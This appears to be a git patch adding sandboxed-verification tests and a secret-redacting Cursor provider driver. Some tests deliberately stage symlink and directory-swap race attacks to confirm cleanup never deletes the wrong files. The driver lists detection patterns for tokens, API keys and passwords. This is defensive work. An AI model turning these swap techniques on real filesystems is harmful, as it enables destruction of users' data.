+ fs.closeSync(qFd); + fs.closeSync(dirFd); + const replacement = replaceQuarantineWithCandidate(parentPath, qName, candidate); + const replaceable = `/proc/self/fd/${parentFd}/${qName}`; + await rm(replaceable, { recursive: true, force: false }); + fs.closeSync(parentFd); + const sentinel = await readFile(path.join(replacement, 'SENTINEL'), 'utf8').catch(() => ''); + assert.equal(sentinel, ''); + const gitPresent = await lstat(path.join(replacement, '.git')).then(() => true, () => false); + assert.equal(gitPresent, false); + const originalPresent = await lstat(candidate).then(() => true, () => false); + assert.equal(originalPresent, false); + assert.notEqual(head, ''); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('post-pin quarantine name replacement returns cleanup_uncertain and preserves candidate', async () => { + const { root, candidate, head } = await candidatePair(); + const recursive = []; + try { + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await mkdir(path.join(candidate, 'nested', 'deep'), { recursive: true }); + await writeFile(path.join(candidate, 'nested', 'deep', 'file.txt'), 'nested-keep\n'); + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + recursive.push(record.path); + await rm(record.path, { recursive: true, force: false }); + }, + }); + let replacementPath; + adapter.afterQuarantinePin = async (info) => { + replacementPath = replaceQuarantineWithCandidate(info.parentPath, info.qName, candidate); + fs.fstatSync(info.parentFd); + fs.fstatSync(info.dirFd); + fs.fstatSync(info.qFd); + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(recursive.length, 0); + assert.equal(recursive.includes(replacementPath), false); + assert.equal(recursive.includes(candidate), false); + assert.equal(await readFile(path.join(replacementPath, 'SENTINEL'), 'utf8'), SENTINEL_BYTES); + assert.equal(await readFile(path.join(replacementPath, 'README'), 'utf8'), 'p16c\n'); + assert.equal(await readFile(path.join(replacementPath, 'nested', 'deep', 'file.txt'), 'utf8'), 'nested-keep\n'); + const gitStat = await lstat(path.join(replacementPath, '.git')); + assert.equal(gitStat.isDirectory() || gitStat.isFile(), true); + assert.equal(await gitHeadOf(replacementPath), head); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('quarantine name symlink, file, and directory swaps preserve candidate and foreign sentinels', async () => { + async function runSwap(mutate) { + const { root, candidate, head } = await candidatePair(); + const recursive = []; + const foreign = path.join(root, 'FOREIGN'); + try { + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await writeFile(foreign, 'foreign-keep\n'); + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + recursive.push(record.path); + await rm(record.path, { recursive: true, force: false }); + }, + }); + adapter.afterQuarantinePin = async (info) => { + await writeFile(path.join(info.parentPath, 'PARENT_FOREIGN'), 'parent-keep\n'); + mutate(info, candidate); + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(recursive.length, 0); + assert.equal(await readFile(path.join(candidate, 'SENTINEL'), 'utf8'), SENTINEL_BYTES); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + assert.equal(await gitHeadOf(candidate), head); + assert.equal(await readFile(foreign, 'utf8'), 'foreign-keep\n'); + const gitStat = await lstat(path.join(candidate, '.git')); + assert.equal(gitStat.isDirectory() || gitStat.isFile(), true); + return root; + } catch (error) { + await rm(root, { recursive: true, force: true }); + throw error; + } + } + + const symlinkRoot = await runSwap((info, candidatePath) => { + const qPath = path.join(info.parentPath, info.qName); + renameSync(qPath, `${qPath}.stolen`); + symlinkSync(candidatePath, qPath); + }); + await rm(symlinkRoot, { recursive: true, force: true }); + + const fileRoot = await runSwap((info) => { + const qPath = path.join(info.parentPath, info.qName); + renameSync(qPath, `${qPath}.stolen`); + writeFileSync(qPath, 'not-a-directory\n'); + }); + await rm(fileRoot, { recursive: true, force: true }); + + const dirRoot = await runSwap((info) => { + const qPath = path.join(info.parentPath, info.qName); + renameSync(qPath, `${qPath}.stolen`); + fs.mkdirSync(qPath, { mode: 0o700 }); + writeFileSync(path.join(qPath, 'intruder'), 'foreign-dir\n'); + }); + await rm(dirRoot, { recursive: true, force: true }); +}); + +test('inner symlink and file-directory swaps unlink without following candidate targets', async () => { + const { root, candidate, head } = await candidatePair(); + try { + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await mkdir(path.join(candidate, 'nested'), { recursive: true }); + await writeFile(path.join(candidate, 'nested', 'inner.txt'), 'inner-keep\n'); + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + throw new Error(`recursive rmdirExact targeted ${record.path}`); + }, + }); + adapter.afterQuarantinePin = async (info) => { + const qPath = path.join(info.parentPath, info.qName); + const decoy = path.join(qPath, 'README'); + try { fs.unlinkSync(decoy); } catch { /* copy layout may differ */ } + symlinkSync(path.join(candidate, 'SENTINEL'), path.join(qPath, 'README')); + const nested = path.join(qPath, 'nested-swap'); + fs.mkdirSync(nested, { mode: 0o700 }); + writeFileSync(path.join(nested, 'x'), 'x\n'); + renameSync(nested, `${nested}.dir`); + writeFileSync(nested, 'now-a-file\n'); + }; + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(await readFile(path.join(candidate, 'SENTINEL'), 'utf8'), SENTINEL_BYTES); + assert.equal(await readFile(path.join(candidate, 'nested', 'inner.txt'), 'utf8'), 'inner-keep\n'); + assert.equal(await gitHeadOf(candidate), head); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('descriptor closure happens only after conclusive cleanup or preservation', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + let during; + const { adapter } = recordingAdapter({ child: { code: 0 } }); + adapter.afterQuarantinePin = async (info) => { + during = { + dir: fs.fstatSync(info.dirFd), + parent: fs.fstatSync(info.parentFd), + q: fs.fstatSync(info.qFd), + dirFd: info.dirFd, + parentFd: info.parentFd, + qFd: info.qFd, + }; + }; + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(during.parent.isDirectory(), true); + assert.equal(during.dir.isDirectory(), true); + assert.equal(during.q.isDirectory(), true); + assert.throws(() => fs.fstatSync(during.parentFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(during.dirFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(during.qFd), { code: 'EBADF' }); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs b/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs index 25d3a91..42ac037 100644 --- a/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs +++ b/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs @@ -1,4 +1,5 @@ import assert from 'node:assert/strict'; +import fs from 'node:fs'; import { readFile, rm, symlink, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; @@ -11,6 +12,9 @@ import { CONSTRAINED_VERIFICATION_SCHEMA_ID, CONSTRAINED_VERIFICATION_VERSION, GIT_EXECUTABLE, + PRLIMIT_EXECUTABLE, + RESOURCE_ADDRESS_SPACE_BYTES, + RESOURCE_NPROC, UNSHARE_EXECUTABLE, VERIFICATION_EXECUTION_DIGEST_LABEL, executeConstrainedVerificationV1, @@ -83,6 +87,7 @@ test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { assert.equal(VERIFICATION_EXECUTION_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT); assert.equal(GIT_EXECUTABLE, '/usr/bin/git'); assert.equal(UNSHARE_EXECUTABLE, '/usr/bin/unshare'); + assert.equal(PRLIMIT_EXECUTABLE, '/usr/bin/prlimit'); }); test('a genuine P16B intent executes once with shell=false, empty env, and exact argv', async () => { @@ -113,6 +118,12 @@ test('a genuine P16B intent executes once with shell=false, empty env, and exact assert.deepEqual(calls.spawn[0].options.env, {}); assert.equal(calls.spawn[0].options.networkMode, 'deny'); assert.equal(calls.spawn[0].options.cwd === candidate, false); + assert.match(calls.spawn[0].options.cwd, /^\/proc\/self\/fd\/[0-9]+$/u); + assert.equal(typeof calls.spawn[0].options.executableFd, 'number'); + assert.equal(typeof calls.spawn[0].options.workspaceFd, 'number'); + assert.equal(calls.spawn[0].options.resourceLimits.nproc, RESOURCE_NPROC); + assert.equal(calls.spawn[0].options.resourceLimits.address_space_bytes, RESOURCE_ADDRESS_SPACE_BYTES); + assert.equal(Number.isSafeInteger(calls.spawn[0].options.resourceLimits.cpu_seconds), true); assert.equal(Object.isFrozen(request), false); assert.throws(() => { receipt.outcome.result = 'fail'; }, TypeError); }); @@ -216,9 +227,25 @@ test('timeout, output flood, signal ambiguity, and escaped descendants fail clos spawn: () => fakeChild({ hang: true, ignoreKill: true, pid: 99 }), listDescendants: async () => [], }); - const timeoutError = await errorOf(() => executeConstrainedVerificationV1(request, { + const stuckError = await errorOf(() => executeConstrainedVerificationV1(request, { adapter: hanging.adapter, })); + assert.equal(stuckError.code, 'cleanup_uncertain'); + + let hangingChild; + const timed = recordingAdapter({ + spawn: () => { + hangingChild = fakeChild({ hang: true, pid: 77 }); + return hangingChild; + }, + killProcessGroup: () => { + hangingChild.emit('exit', null, 'SIGTERM'); + }, + listDescendants: async () => [], + }); + const timeoutError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: timed.adapter, + })); assert.equal(timeoutError.code, 'timeout'); const flood = recordingAdapter({ @@ -280,26 +307,46 @@ test('candidate mutation and identity mismatch fail closed without a pass receip test('cleanup refuses broad or swapped paths and still removes the exact workspace', async () => { await withHarness(async ({ request, candidate, root }) => { - const forbidden = []; + const recursive = []; const { adapter, calls } = recordingAdapter({ child: { code: 0 }, rmdirExact: async (record) => { - if (record.path === '/' || record.path === root || record.path === candidate - || record.path === tmpdir()) { - forbidden.push(record.path); - throw new Error('refused broad delete'); - } - await rm(record.path, { recursive: true, force: false }); + recursive.push(record.path); + throw new Error('path-recursive rmdirExact must not run'); }, }); const receipt = await executeConstrainedVerificationV1(request, { adapter }); assert.equal(receipt.cleanup.status, 'removed'); - assert.equal(calls.rmdir.length, 1); - assert.equal(calls.rmdir[0].startsWith(path.resolve(tmpdir())), true); - assert.equal(calls.rmdir[0].includes('codex-co-engineer-p16c-'), true); - assert.equal(forbidden.length, 0); - assert.notEqual(calls.rmdir[0], candidate); - assert.notEqual(calls.rmdir[0], '/'); + assert.equal(calls.rmdir.length, 0); + assert.equal(recursive.length, 0); + assert.equal(recursive.includes(candidate), false); + assert.equal(recursive.includes('/'), false); + assert.equal(recursive.includes(root), false); + assert.equal(recursive.includes(tmpdir()), false); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + }); +}); + +test('normal nested-directory cleanup removes the workspace and closes pinned fds', async () => { + await withHarness(async ({ request, candidate }) => { + let pinned; + const { adapter } = recordingAdapter({ child: { code: 0 } }); + adapter.afterQuarantinePin = async (info) => { + pinned = info; + const qPath = path.join(info.parentPath, info.qName); + fs.mkdirSync(path.join(qPath, 'nested', 'deep'), { recursive: true, mode: 0o700 }); + fs.writeFileSync(path.join(qPath, 'nested', 'deep', 'file.txt'), 'workspace-only\n'); + fs.fstatSync(info.parentFd); + fs.fstatSync(info.dirFd); + fs.fstatSync(info.qFd); + }; + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(typeof pinned.parentFd, 'number'); + assert.throws(() => fs.fstatSync(pinned.parentFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(pinned.dirFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(pinned.qFd), { code: 'EBADF' }); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); }); }); @@ -334,6 +381,10 @@ test('the module never shells, looks up PATH, or integrates server/supervisor su assert.doesNotMatch(source, /\bgit rebase\b/u); assert.doesNotMatch(source, /\bgit push\b/u); assert.doesNotMatch(source, /create_pr/u); + assert.equal(source.includes('recursive: true'), false); + assert.doesNotMatch(source, /\bFS_RM\b/u); + assert.match(source, /FS_UNLINK_SYNC/u); + assert.match(source, /O_DIRECTORY/u); }); test('symlinks and special files on the executable or candidate fail closed', async () => { @@ -377,3 +428,30 @@ test('the approved command is spawned exactly once per invocation', async () => assert.equal(calls.spawn[0].file, TRUE_EXECUTABLE); }); }); + +test('the disposable workspace materializes candidate README bytes for the command', async () => { + await withHarness(async ({ request, candidate }) => { + const receipt = await executeConstrainedVerificationV1(request); + assert.equal(receipt.outcome.result, 'pass'); + const original = await readFile(path.join(candidate, 'README'), 'utf8'); + assert.equal(original, 'p16c\n'); + }); +}); + +test('host cat of copied README observes candidate content without mutating the source', async () => { + const { createHash } = await import('node:crypto'); + await withHarness(async ({ candidate, head }) => { + const request = genuineRequest({ + policy: policyForExecutable('/usr/bin/cat', { argv_template: ['README'] }), + executable: '/usr/bin/cat', + candidate: { repository: candidate, expected_head_sha: head, expected_base_sha: head }, + }); + const receipt = await executeConstrainedVerificationV1(request); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(receipt.outcome.exit_code, 0); + const expected = createHash('sha256').update('p16c\n', 'utf8').digest('hex'); + assert.equal(receipt.outcome.stdout_digest, expected); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + assert.equal(receipt.candidate_audit.unchanged, true); + }); +}); From c6a231be773359bca6cc3712c807bdc6504189c0 Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sun, 23 Aug 2026 17:28:29 +0000 Subject: [PATCH 67/81] feat(provider): add the cursor-local driver lifecycle Bind the accepted P17 ProviderDriverV1 contract to an injected local Cursor session transport. One spawn and one acknowledged prompt dispatch per lane keep pre-spawn not_sent strictly distinct from post-spawn dispatch_uncertain; exact provider/model/session/repository/base/run/ assignment/envelope provenance is bound on every request with no omitted- field derivation or substitution. Same-session attention replies are attempt-once and bound to the exact session/question/answer; cancel, reattach, reconcile, restart, the terminal latch, and already-terminal behavior preserve identity and never bind an uncorrelated session. All host-visible evidence flows through a persistent per-lane redaction window and UTF-8 byte bounds so signatures cannot recombine across leaves, chunks, events, or reconciliations; every error surface stays closed and content-free. Managed local worktrees and run_base_sha only. Offline coverage lives in r1-cursor-local-driver with the scripted r1-cursor-local-transport fixture. --- .../mcp/v3/cursor-local-driver.mjs | 1117 +++++++++++++++++ .../fixtures/r1-cursor-local-transport.mjs | 335 +++++ .../test/r1-cursor-local-driver.test.mjs | 407 ++++++ 3 files changed, 1859 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs create mode 100644 plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs new file mode 100644 index 0000000..7890952 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs @@ -0,0 +1,1117 @@ +// CursorLocalDriverV1 — local Cursor provider driver (P19 reconstruction). +// +// Additive v3 module. It binds the accepted P17 ProviderDriverV1 contract +// (four operations, exact ChildEnvelopeV1 proof, honest P05 capability +// declaration, process-local transitions) to an injected local session +// transport. It owns no provider transport of its own and claims none. +// +// Invariants enforced here, on top of the P17 validators this module calls +// as its single content-free quarantine: +// - exact provenance binding: provider `cursor-local`, the resolved +// model, repository path, run/assignment/lane identity, base sha, and +// child envelope digest must all be present and equal on every +// request; omitted fields are never derived and near-misses never +// substitute; +// - at most one spawn and at most one prompt dispatch per lane; the +// `dispatched` disposition requires the transport's authoritative +// acknowledgement; a pre-send spawn failure stays `not_sent` and is +// kept strictly distinct from post-spawn `dispatch_uncertain`; +// - same-session attention replies are attempt-once and bound to the +// exact session, question, and answer; an unsupported reply posture +// refuses explicitly without touching the transport; +// - cancel, reattach, reconcile, restart, the terminal latch, and +// already-terminal behavior preserve exact lane identity and never +// bind an uncorrelated session; +// - every host-visible progress/event/evidence leaf is bounded by UTF-8 +// bytes and redacted through one persistent per-lane window so secret, +// token, Bearer, API-key, envelope-digest, and prompt signatures +// cannot recombine across leaves, chunks, events, or reconciliations; +// - every error surface is closed and content-free: hostile names and +// values never appear in codes, paths, or messages; +// - managed local worktrees and run_base_sha only: no direct-mode +// widening, supervisor/registry/server cutover, durable store, or +// protected-ref mutation. Legacy 3.2.1 behavior and public receipts +// are untouched. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { IDENTITY_LABELS } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + validateDriverCancelRequestV1, + validateDriverCancelResultV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverLaunchResultV1, + validateDriverPreflightRequestV1, + validateDriverPreflightResultV1, + validateDriverReconcileRequestV1, + validateDriverReconcileResultV1, +} from './provider-driver.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export { PROVIDER_DRIVER_VERSION }; + +export const CURSOR_LOCAL_DRIVER_SCHEMA_ID = 'codex-co-engineer.cursor-local-driver.v1'; +export const CURSOR_LOCAL_PROVIDER = 'cursor-local'; + +const STRING = String; +const IS_PROXY = utilTypes.isProxy; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const OBJECT_FREEZE = Object.freeze; + +export const CURSOR_LOCAL_OPTION_KEYS = capturedFreeze([ + 'declaration', 'model', 'run_base_sha', 'transport', 'workspace_root', +]); + +export const CURSOR_LOCAL_TRANSPORT_METHODS = capturedFreeze([ + 'availability', 'cancel', 'observe', 'reply', 'send', 'spawn', +]); + +export const CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID = + 'codex-co-engineer.cursor-local-evidence-request.v1'; +export const CURSOR_LOCAL_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.cursor-local-evidence.v1'; +export const CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID = + 'codex-co-engineer.cursor-local-reply.v1'; +export const CURSOR_LOCAL_REPLY_RESULT_SCHEMA_ID = + 'codex-co-engineer.cursor-local-reply-result.v1'; + +export const CURSOR_LOCAL_EVIDENCE_REQUEST_KEYS = capturedFreeze([ + 'child_envelope_digest', 'envelope_text', 'schema', 'version', +]); +export const CURSOR_LOCAL_REPLY_REQUEST_KEYS = capturedFreeze([ + 'answer_text', 'child_envelope_digest', 'envelope_text', 'question_id', + 'schema', 'session_id', 'version', +]); + +export const EVIDENCE_KINDS = capturedFreeze(['attention', 'event', 'progress']); +export const OBSERVE_STATUSES = capturedFreeze(['attention', 'completed', 'failed', 'running']); +export const CANCEL_OUTCOMES = capturedFreeze(['confirmed', 'requested']); + +// The only send failure that proves "nothing was written" is the explicit +// closed code below. Every other failure after a successful spawn is +// honestly reported as dispatch_uncertain instead of not_sent. +export const TRANSPORT_PRE_WRITE_FAILURE_CODE = 'pre_write_failure'; +export const TRANSPORT_FAILURE_CODES = capturedFreeze([TRANSPORT_PRE_WRITE_FAILURE_CODE]); + +export const MODEL_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$/u; +export const SHA40_PATTERN = /^[0-9a-f]{40}$/u; +export const SESSION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const QUESTION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const WORKSPACE_ROOT_PATTERN = /^\/[A-Za-z0-9._/-]*$/u; + +export const MAX_ANSWER_BYTES = 16 * 1024; +export const MAX_EVIDENCE_EVENTS = 64; +export const MAX_EVIDENCE_SEGMENT_BYTES = 8 * 1024; +export const MAX_LANE_EVIDENCE_BYTES = 64 * 1024; +export const REDACTION_CARRY_CHARS = 256; +export const REDACTION_SLICE_CHARS = 4096; + +export const REDACTED_MARKER = '[REDACTED]'; + +// Closed signature vocabulary. Matches are replaced wholesale inside the +// persistent carry window, so a signature split across chunks, leaves, +// events, or reconciliations recombines only inside the window and is then +// redacted before any host-visible byte exists. +const SIGNATURE_PATTERNS = capturedFreeze([ + /\bBearer\s+[A-Za-z0-9._~+/=-]+/giu, + /\bBasic\s+[A-Za-z0-9._~+/=-]+/giu, + /\b(?:sk|xai)-[A-Za-z0-9_-]{8,}\b/giu, + /\b(?:gh[pousr]|github_pat)_[A-Za-z0-9_-]{8,}\b/giu, + /\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/giu, + /\b(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|cookie|credential|private[_-]?key)(?:\s*[:=]\s*)\s*(?:"[^"]*"|'[^']*'|[^\s,;&'"]+)/giu, +]); + +function safeErrorCode(error) { + // Reading properties off a thrown value may itself throw or run caller + // code (getters, proxy traps). Only a plain own data property whose value + // is exactly one closed code is ever honored; everything else fails + // closed as post-spawn uncertainty. + if (error === null || (typeof error !== 'object' && typeof error !== 'function')) { + return undefined; + } + try { + const descriptor = capturedDescriptor(error, 'code'); + if (!descriptor || descriptor.get !== undefined || descriptor.set !== undefined) { + return undefined; + } + const value = descriptor.value; + return typeof value === 'string' && capturedIncludes(TRANSPORT_FAILURE_CODES, value) + ? value + : undefined; + } catch { + return undefined; + } +} + +function digestsEqual(left, right) { + if (typeof left !== 'string' || typeof right !== 'string') return false; + if (left.length !== right.length) return false; + try { + return TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'utf8'), BUFFER_FROM(right, 'utf8')); + } catch { + return false; + } +} + +function cutUtf8Bytes(text, maxBytes) { + if (maxBytes <= 0) return ''; + if (capturedUtf8ByteLength(text) <= maxBytes) return text; + const buffer = BUFFER_FROM(text, 'utf8'); + let cut = maxBytes; + while (cut > 0 && (buffer[cut] & 0xc0) === 0x80) cut -= 1; + return buffer.subarray(0, cut).toString('utf8'); +} + +function redactSignatures(text) { + let redacted = text; + for (let index = 0; index < SIGNATURE_PATTERNS.length; index += 1) { + redacted = redacted.replace(SIGNATURE_PATTERNS[index], REDACTED_MARKER); + } + return redacted; +} + +// Persistent per-lane redaction window. Pieces enter in order; a bounded +// tail is withheld until the next piece arrives, so signatures split +// across pieces recombine inside the window and are redacted there. The +// window stays open for the life of the lane (including across reconcile +// calls); it is flushed once, when the lane reaches its terminal latch. +function createRedactionWindow() { + let carry = ''; + let sealed = false; + return freezeData({ + push(piece) { + if (sealed || typeof piece !== 'string' || piece.length === 0) return ''; + const combined = carry + piece; + if (combined.length <= REDACTION_CARRY_CHARS) { + carry = combined; + return ''; + } + const emitLength = combined.length - REDACTION_CARRY_CHARS; + carry = combined.slice(emitLength); + return redactSignatures(combined.slice(0, emitLength)); + }, + flush() { + if (sealed) return ''; + sealed = true; + return carry.length === 0 ? '' : redactSignatures(carry); + }, + }); +} + +// Bounded evidence sink. All host-visible text funnels through the lane's +// redaction window first, then through UTF-8 byte bounds per segment and +// per lane. Overflow sets `truncated` and drops further input silently: +// bounding failures are never errors and never leak content. +function createEvidenceSink() { + const segments = []; + const state = { + current: '', + currentBytes: 0, + currentKind: undefined, + seq: 0, + totalBytes: 0, + truncated: false, + }; + function sealCurrent() { + if (state.currentKind === undefined) return; + capturedDefineProperty(segments, STRING(state.seq), { + value: freezeData({ + bytes: state.currentBytes, + kind: state.currentKind, + seq: state.seq, + text: state.current, + }), + enumerable: true, + configurable: false, + writable: false, + }); + segments.length = state.seq + 1; + state.seq += 1; + state.current = ''; + state.currentBytes = 0; + state.currentKind = undefined; + } + function ingest(text, kind) { + if (state.truncated || typeof text !== 'string' || text.length === 0) return; + let remaining = text; + while (remaining.length > 0) { + if (segments.length >= MAX_EVIDENCE_EVENTS + || state.totalBytes >= MAX_LANE_EVIDENCE_BYTES) { + state.truncated = true; + return; + } + if (state.currentKind !== undefined + && (state.currentKind !== kind || state.currentBytes >= MAX_EVIDENCE_SEGMENT_BYTES)) { + sealCurrent(); + continue; + } + const room = Math.min( + MAX_LANE_EVIDENCE_BYTES - state.totalBytes, + MAX_EVIDENCE_SEGMENT_BYTES - state.currentBytes, + ); + if (room <= 0) { + state.truncated = true; + return; + } + const piece = cutUtf8Bytes(remaining, room); + state.current += piece; + const pieceBytes = capturedUtf8ByteLength(piece); + state.currentBytes += pieceBytes; + state.totalBytes += pieceBytes; + if (state.currentKind === undefined) state.currentKind = kind; + remaining = remaining.slice(piece.length); + } + } + return freezeData({ + ingest, + drain() { + sealCurrent(); + return freezeData({ + events: freezeData([...segments]), + total_bytes: state.totalBytes, + truncated: state.truncated, + }); + }, + }); +} + +function requireExactString(source, key, path, pattern, code) { + const value = optOwn(source, key); + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail(code ?? 'invalid_format', `${path}.${key}`, + `${path}.${key} is missing or outside the closed grammar.`); + } + return value; +} + +function readTransportResult(result, path) { + // One structural quarantine for every transport result: proxies, + // accessors, symbols, non-enumerables, exotic prototypes, sparse arrays, + // cycles, aliases, and unknown shapes are rejected without running any + // caller code, before a single field is read. + if (result === null || result === undefined) { + fail('invalid_transport_result', path, 'The transport returned no result object.'); + } + assertNotProxy(result, path); + assertDirectJsonClosure(result, path); + assertPlainObject(result, 'invalid_transport_result', path, path); + return result; +} + +function requireBindingEcho(result, expectedDigest, path) { + const echo = optOwn(result, 'binding_digest'); + if (typeof echo !== 'string' || !digestsEqual(echo, expectedDigest)) { + fail('uncorrelated_session', `${path}.binding_digest`, + 'The transport session did not echo the exact lane binding digest.'); + } + return echo; +} + +function requireSessionEcho(result, expectedSessionId, path) { + const echo = optOwn(result, 'session_id'); + if (typeof echo !== 'string' || echo !== expectedSessionId) { + fail('uncorrelated_session', `${path}.session_id`, + 'The transport session id does not match the exact spawned session.'); + } + return echo; +} + +function callTransport(transportMethods, methodName, argument) { + let produced; + try { + produced = transportMethods[methodName](argument); + } catch (error) { + return { ok: false, error }; + } + if (produced instanceof Promise || (produced !== null && typeof produced === 'object' + && typeof produced.then === 'function')) { + // The P19 surface is synchronous and process-local. A promise-returning + // transport would make dispatch certainty unobservable, so it is + // rejected before any await can hide an ambiguous send. + return { ok: false, error: new Error('transport returned a promise') }; + } + return { ok: true, value: produced }; +} + +function buildLaneBindingDigest(view, model) { + return identityBoundDigest(IDENTITY_LABELS.PROVIDER_RUN_IDENTITY, { + assignment_id: view.envelope.assignment_id, + base_sha: view.envelope.repository.base_sha, + child_envelope_digest: `sha256:${view.child_envelope_digest}`, + lane_index: view.envelope.lane_index, + model, + provider: CURSOR_LOCAL_PROVIDER, + repository_path: view.envelope.repository.path, + run_id: view.envelope.run_id, + }); +} + +function laneKeyFor(view) { + return `${view.envelope.run_id}\u0000${view.envelope.assignment_id}`; +} + +function assertAttentionQuestionShape(question, path) { + assertPlainObject(question, 'invalid_transport_result', path, path); + const keys = Object.keys(question).sort(); + if (keys.length !== 2 || keys[0] !== 'question_id' || keys[1] !== 'question_text') { + fail('invalid_transport_result', path, + 'An attention question must carry exactly question_id and question_text.'); + } + requireExactString(question, 'question_id', path, QUESTION_ID_PATTERN, + 'invalid_transport_result'); + const text = optOwn(question, 'question_text'); + if (typeof text !== 'string' || text.length === 0) { + fail('invalid_transport_result', `${path}.question_text`, + 'An attention question must carry non-empty question text.'); + } +} + +export function describeCursorLocalDriverV1() { + return capturedFreeze({ + schema: CURSOR_LOCAL_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + provider: CURSOR_LOCAL_PROVIDER, + operations: capturedFreeze(['preflight', 'launch', 'reconcile', 'cancel']), + transports: capturedFreeze([]), + transport_methods: CURSOR_LOCAL_TRANSPORT_METHODS, + transport_mode: 'injected_local_session_seam', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + replay_posture: 'never_replay', + relaunch_operations: capturedFreeze([]), + direct_mode: capturedFreeze([]), + durable_store: false, + bounds: freezeData({ + max_answer_bytes: MAX_ANSWER_BYTES, + max_evidence_events: MAX_EVIDENCE_EVENTS, + max_evidence_segment_bytes: MAX_EVIDENCE_SEGMENT_BYTES, + max_lane_evidence_bytes: MAX_LANE_EVIDENCE_BYTES, + }), + evidence_kinds: EVIDENCE_KINDS, + observe_statuses: OBSERVE_STATUSES, + cancel_outcomes: CANCEL_OUTCOMES, + }); +} + +function quarantineControlRequest(request, allowedKeys, schemaId, path) { + if (request === null || request === undefined) { + fail('invalid_type', path, `${path} must be a plain request object.`); + } + 